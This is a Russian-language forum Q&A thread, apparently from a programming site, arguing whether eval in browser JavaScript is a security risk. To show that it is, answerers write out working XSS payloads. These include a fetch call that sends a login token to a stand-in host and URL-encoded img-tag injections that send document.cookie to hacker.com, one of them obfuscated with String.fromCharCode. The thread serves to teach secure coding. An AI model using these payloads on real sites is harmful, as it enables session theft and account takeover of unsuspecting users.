Чем опасен eval в JavaScript в рамках веб страниц?

Не знаю, происходило ли когда либо такое в практике, но я, вот, только что, придумал следующий пример:

Допустим у нас есть сервис https://A.com на котором пользователь зашёл в аккаунт. Этот сервис хранит в себе токен входа в аккаунт, утечка которого стороннему сервису, понятное дело, нежелательна. Ну и соответственно у этого сервиса есть доступ к этому ключу на стороне клиента.

В этом сервисе есть страницы формата https://A.com?page=3 (из реальных примеров: id канала в дискорде, ввод в поисковик с гугла или номер страницы в списке товаров с авито). Значение параметра page пихается напрямую в eval из за каких-то необходимых вычислений (у меня есть пара идей, но я сам лично никогда бы не использовал eval со внешним инпутом, так что не знаю, насколько валидным пример будет являться для вас).

Теперь мы можем создать ссылку, где параметр page будет равен чему то типа

(function() {fetch("http://mydomain.com?token=" + service_instance.token); return 3;})()

Данный код возвращает 3, но при этом так же отправляет наш приватный токен авторизации на сторонний сервер.

Теперь любой, кто перейдёт по такой ссылке отдаёт доступ от своего аккаунта злоумышленнику

UPD: Минимальный пример

UPD: Ещё придумал:

Изменить своё (например) описание на описание с вредоносным кодом.

Теперь, при просмотре вредоносного профиля будет подгружаться его описание, которое может попасть в eval выполнив вредоносный код на стороне клиента другого пользователя. Ещё один способ утечки токена

Я лично не против использования eval, однако, по моему мнению, всегда необходимо работать только с пре-дефайнед строками, и никогда со строками из вне

Речь идет именно о браузере и веб страницах. Javascript на стороне сервера - это совсем другая песня.

Нет, не другая, а та же самая. Он либо безопасен везде (при правильном использовании так вполне может быть), либо не безопасен нигде (что почти наверняка будет при использовании кое-как).

Если мой сосед не запирает дверь - то никакой проблемы нет. Вот если бы я не запирал, это была бы совсем другая песня.

Ответы из серии ... "eval() может выполнить неизвестный вам код из пользовательской строки." и прочий копипаст 20-летней давности

Ну eval за 20 лет не изменился. Он как выполнял код, так и выполняет. А вот то, что именно он выполняет - зависит от того, что программист в него передаёт.

И соответственно, это замедлит код. Но во первых, это не относится к безопасности.

Согласен, к безопасности не относится.

Но всё же отмечу, что обычно какие-то операции замедляют код только на то время, которое они выполняются, eval же вредит всему окружающему его коду (вся цепочка замыканий) даже если никогда не выполняется: оптимизации сильно ограничиваются, форсируется доступность переменных в замыкании, что может продлевать срок жизни объектов.

Вот тут браузер спокойно выкинул переменную smth из замыкания:

Условие Math.random() > 2 заведомо ложно, так что eval никогда не выполнится, но в замыкании уже уйма всего (а если посмотреть внимательнее, то и в local ещё появились arguments):

Чем конкретно опасен eval() в рамках скриптов на веб страницах, которые и так выполняются на стороне клиента?

Чем конкретно опасна незапертая дверь у соседа? Это же и так у соседа.

Сейчас почти на каждом ПК установлен браузер с веб консолью. И да, выполнение кода из консоли имеет отличия от eval. ... Один будет запущен на странице, а второй как бы "в капсуле". Google Chrome , например, честно пишет в консоли, что скрипт запущен из VMxx.js

Это не имеет отношения к безопасности eval.

мы говорим об "опасности", то есть злонамеренных действиях. Так что мешает злонамеренному пользователю, нажать сочетание клавиш ctrl+shift+i, и получив доступ к веб консоли браузера, вписать туда

Так что мешает соседу отпереть дверь, и войдя свою квартиру ...

выполнить свой "злой" код из-под этой обертки?

Ничего, и в этом нет проблемы. Точнее, есть - self xss, но к обсуждаемому вопросу не относится.

... взять, и вынести из неё все вещи?

Для XSS, нужны дыры размером с галактику в фильтрах при обработке данных пользователя во время исполнения/добавления их в серверной части.

Серверная часть вообще никак не участвует в xss - только клиентская.

Что касается размеров дыр - во-первых, а кто сказал, что их нет (к тому же, достаточно только одной дыры), а во-вторых, называть дырой отсутствие излишне строгой проверки данных - спорно.

И на стороне сервера, использовать eval(), (не только по моему мнению) за гранью добра и зла.

Снова то же самое.

Вот мою дверь не запирать - за гранью добра и зла.

Только очень прошу, не нужно писать о какой-то там, неведанной, гипотетической супер опасности. Не имея НИОДНОГО примера.

Погоди, скоро будут.

Вот, чем опасно использование прямого исполнения кода отправленного из вне на сервере, есть сотни примеров. Да, та же rm -rf или format для форточек, выполненная от лица сервера.

Вот чем опасно не запирать мою дверь, есть сотни примеров. Да те же воры.

А вот с js исполняемым в браузере пользователя веб сайта, примеров как не было, так и нет.

А вот с дверью соседа - примеров как не было, так и нет.

Хорошая попытка @Швеев Алексей, но как это относится к реальности и коду у клиента?

Отлично относится, если читать ответ внимательно.

Инъекция в ссылках типа ... Не имеет никакого отношения к eval() на стороне клиента. Это 100% дыра со стороны сервера. Исполнение такого URL, роутером сервера, это прям камаз щебня в огород разработчика роутера.

Ещё раз: читать внимательно.

Твой домен - A.com, а в fetch запрос отправляется на mydomain.com.

К твоему серверному коду это не имеет вообще никакого отношения. Хоть заобрабатывайся там. Злоумышленник достаёт на клиенте с твоего сайта service_instance.token и отправляет его не к тебе на сервер, а к себе! Потом там его обработает как следует и воспользуется тем, чтобы под видом пользователя, у которого спёр токен, выполнять действия на твоём сайте.

Допустим я джун, беру PageID из URL, и пихаю его в eval().

Допустим - отличный пример.

Как я это делаю? Наверное нагуглив (или зная) let path = window.location.search Который возвращает string.

Так, пока никакой защиты от инъекций.

Затем разбираю его через RegExp

Ну тут примера нет, говорить не о чем.

или path.substr(0, path.lastIndexOf('pageid='))

Руки кривые, не тот конец вырезаешь...

var path = 'https://example.com/smth?abc=1&pageid=2'
console.log(path.substr(0, path.lastIndexOf('pageid=')))

Наверное, ты имел в виду

var path = 'https://example.com/smth?abc=1&pageid=2'
console.log(path.substr(path.lastIndexOf('pageid=') + 7))

Это по-прежнему криво, потому что предполагает, что параметр идёт последним, а ещё забивает на то, что надо бы вызвать decodeURIComponent.

Ладно, нафиг этого джуна, распарсим сразу нормально:

var path = 'https://example.com/smth?abc=1&pageid=2&other=qwe'
var url = new URL(path)
console.log(url.searchParams.get('pageid'))

Давай, оцени, в этом способе дыры есть? И какого они размера?

И попытка разобрать таким образом функцию, выдаст ошибку еще на этой стадии, остановив исполнение кода.

Где? Какую?

Давай попробуем такую ссылку: https://example.com/?pageid=(document.body.insertAdjacentHTML("beforeend",%27<img%20src="//hacker.com?%27%2Bdocument.cookie%2B%27">%27),2)

Убедимся, что этот код рабочий (куку sid я предварительно добавил сам):

Если вдруг у тебя возникла мысль, что я намеренно переписал код из вопроса, чтобы добавить в него уязвимость (хотя, назвать уязвимостью то, что стандартные механизмы работают так, как задумано, у меня бы язык не повернулся), я сделаю другую ссылку, которая аналогична этой, но для прошлого способа парсинга: https://example.com/?pageid=(document.body.insertAdjacentHTML(Object.keys({beforeend:0})[0],[String.fromCharCode(60),Object.keys({img:0})[0],Object().toString()[7],Object.keys({src:0})[0],String.fromCharCode(61),JSON.stringify(Object().toString())[0],String.fromCharCode(47),String.fromCharCode(47),Object.keys({hacker:0})[0],String.fromCharCode(46),Object.keys({com:0})[0],String.fromCharCode(63),document.cookie,JSON.stringify(Object().toString())[0],String.fromCharCode(62)].join(JSON.stringify([]).charAt(4))),2)

Итак, будем считать, что у нас есть переменная

var pageid = `(document.body.insertAdjacentHTML("beforeend",'<img src="//hacker.com?'+document.cookie+'">'),2)`

теперь, если заставить строку из неё как-то выполниться в качестве кода, то атакующий получит куки чужого домена.

С тем же успехом, можно привести пример с MySQL инъекциями, и написать, что в этом виноват eval() исполняемый на стороне клиента.

А при чём тут сервер? Мы же про клиентский код говорим.

С тем же успехом можно сказать, что меня ограбили потому что сосед не запер его дверь.

Еще одна не мало важная причина не состоятельности присвоения вины eval(), это разбор URL сервером.

Если параметр используется на клиенте, то серверу пофиг на url. Query-параметры большинством серверов пропускаются и не требуют дополнительных проверок. Нужна ли на сервере проверка, что в url передано число - вопрос открытый, если pageid - это гуид - тоже. А вот если это какой-то текст поискового запроса, например, то валидация в принципе невозможна, поскольку я могу искать что угодно.

Сначала запрос на сервер, потом получение страницы.

Ok, сервер отдал страницу SPA, которая на клиенте начинает что-то химичить. Серверу норм.

А далее вопрос: Как был исполнен код из не валидного URL?

Ещё раз, url был валидный.

Если такая инъекция проходит, оно проедет и без eval(). А значит, что это дыра со стороны сервера.

Если меня ограбили, когда у соседа не заперта дверь, то меня бы ограбили даже если бы она была заперта. Это дыра у меня, а не у соседа.

И чем это отличается от загрузки изображения (например аватарки), со вшитым JS?

Эм.. В какое место картинки можно вшить js?

Код со стороны пользователя, и код со стороны сервера, это разные вещи!

Это очевидно.

Квартира соседа и моя квартира - это разные вещи!

URL обрабатывает сервер.

В дверь захожу я.

Это не всегда так.

И если есть возможность послать такое в URL, это дыра в коде на сервере.

Если есть возможность ограбить квартиру, то это дыра у меня.

А это - бред.

Вновь возвращаю фокус внимания на исполняемый код в браузере и веб страницах на стороне клиента. Не нужно прикрывать просчеты в коде со стороны сервера, использованием eval() на стороне клиента.

Вновь возвращаю фокус внимания на квартиру соседа. Не нужно прикрывать просчёты со своей стороны незапертой дверью соседа.

Надеюсь, по аналогиям давно можно было понять главную дыру этих рассуждений.

Если у соседа не заперта дверь, то кто-то может захотеть ограбить квартиру соседа, а не твою.

Т. е. сервер может быть идеально чистым, опрятным и без уязвимостей. Но если есть eval, в который может попадать пользовательский ввод (включая данные из url), и это сделано неаккуратно, то злоумышленник будет пытаться украсть не то, что есть на сервере, а то, что есть на клиенте. И при этом очень важный момент (который, судя по вопросу, ты не понимаешь) - пользователь сайта (у которого что-то крадут) и злоумышленник - это разные люди.

Наиболее распространённый вариант примера - стащить куки. В вопросе не было примера, как ты собирался помещать тот pageid в eval, но предположим, что там что-то такое:

var pageid = ...

var getData = eval(`(async function () {
  return fetch("/data?pageid=${pageid}").then(r => r.json())
})`)

getData()

Понятия не имею, зачем так делать, но ничего лучше я придумать не смог.

Ну, вроде, будет работать:

А теперь немножко дообернём url, чтобы получилась инъекция под конкретный код: https://example.com/?pageid="%2B(document.body.insertAdjacentHTML("beforeend",%27<img%20src="//hacker.com?%27%2Bdocument.cookie%2B%27">%27),2)%2B" и посмотрим, что за запросы отправились:

• https://example.com/data?pageid=2 - полностью валидный запрос за второй страницей данных
• https://hacker.com/?sid=123 - атакующий заодно спёр куки сайта

Теперь он сможет использовать куки пользователя, открывшего его ссылку, чтобы от его имени выполнять на сайте любые действия, которые мог выполнить тот пользователь.

Тут можно возразить: но есть же csp, не позволяющий послать запрос на домен хакера.

Ну во-первых, у большинства сайтов его нет. Во-вторых, я лично использовал способ его обойти пару лет назад - не думаю, что его прикрыли.

Ещё можно возразить, что есть http-only-куки - тогда куки так не получить - это верно, но ведь это не единственное, что можно сделать.

Самое главное: если атакующий может выполнить любой скрипт, то ему вовсе не обязательно что-то отправлять себе на сайт. Например, представим сайт банка и что на странице перевода денег у атакующего есть возможность выполнить произвольный код. Он вполне может не забирать себе куки, а сделать код, который пишет его номер счёта в поле ввода номера счёта и жмёт кнопку "перевести". Всё. Все выполненные действия абсолютно корректны с точки зрения сервера: пользователь открыл страницу, ввёл номер счёта и выполнил перевод. А вот с точки зрения пользователя у него украли деньги.

а XSS рабочий. И куда вредоноснее и страшнее, чем eval. Т.к. там можно запустить, что угодно. А не просто одну 2 функции.. Ну и код исполнять и от лица страницы и от лица юзера. То есть отловить такое, сложно. И если прикрутить к этому например const MyEvil = ()=>{}; Можно было очень много чего натворить :)

Так при eval можно всё то же самое. И вообще, с eval - это тоже xss.

В сравнении:

• твоя квартира - сервер, бэкенд
• квартира соседа - браузер пользователя
• дверь в твою квартиру - исполнение кода (включая обработку данных) на бэке
• дверь в квартиру соседа - исполнение кода (включая обработку данных) на фронте
• запертая дверь - безопасная обработка данных
• незапертая дверь - небезопасная обработка данных

PS: Учитывая то, что некоторые приведённые фрагменты кода основываются на обработке браузером url, не соответствующего стандарту по допустимости в нём символов, отмечу, что я использовал Google Chome 134.0.6998.89 (64 бит) на Windows 11. В другом браузере часть примеров может работать иначе.